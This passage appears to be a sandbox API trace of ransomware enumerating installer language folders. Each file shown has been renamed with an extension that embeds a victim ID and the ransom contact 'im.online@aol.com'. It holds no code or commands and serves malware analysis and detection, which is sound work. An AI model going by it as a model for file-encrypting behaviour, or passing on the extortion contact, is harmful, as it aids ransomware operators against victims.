1 [0223.294] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7da6e3d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.294] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0223.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.294] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7df31c8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7df31c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1046", cAlternateFileName="")) returned 1 [0223.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.294] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7df31c8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7df31c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.297] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7df31c8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7df31c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.297] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa950bda2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa950bda2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa95320fd, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.297] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa958509d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa958509d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa958509d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.297] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7dcd0bb, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7dcd0bb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7dcd0bb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.297] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7dcd0bb, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7dcd0bb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7dcd0bb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.297] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.298] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1049", cAlternateFileName="")) returned 1 [0223.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.298] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.300] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.300] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa938e7e7, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa938e7e7, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa93b4963, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.300] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa93b4963, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa93b4963, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa98ebc5f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.300] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7fe305a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.301] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7fe305a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.301] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.301] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa802f4bc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1053", cAlternateFileName="")) returned 1 [0223.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.302] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa802f4bc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.304] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa802f4bc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.304] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9400e9c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9400e9c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa94270b5, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.304] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa944d429, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa944d429, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9938147, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.304] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa80092b9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.304] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa80092b9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.304] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.305] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1055", cAlternateFileName="")) returned 1 [0223.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.305] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.307] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.307] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa95320fd, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa95320fd, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa95320fd, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.307] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9558330, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9558330, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9558330, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.307] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82de0e2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82de0e2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82de0e2, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.307] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82de0e2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82de0e2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82de0e2, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.307] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.308] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="2052", cAlternateFileName="")) returned 1 [0223.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.309] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.310] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.310] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa95a49e5, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa95a49e5, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa95a49e5, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.311] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa95caa93, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa95caa93, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9db615d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.311] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81d2f08, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.311] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81d2f08, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81d2f08, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa81d2f08, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.311] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.312] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa821f376, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="2070", cAlternateFileName="")) returned 1 [0223.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.312] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa821f376, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0548 [0223.314] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa821f376, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.314] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa98ebc5f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa98ebc5f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9911f64, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.314] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9911f64, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9911f64, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ebb76c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.315] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: 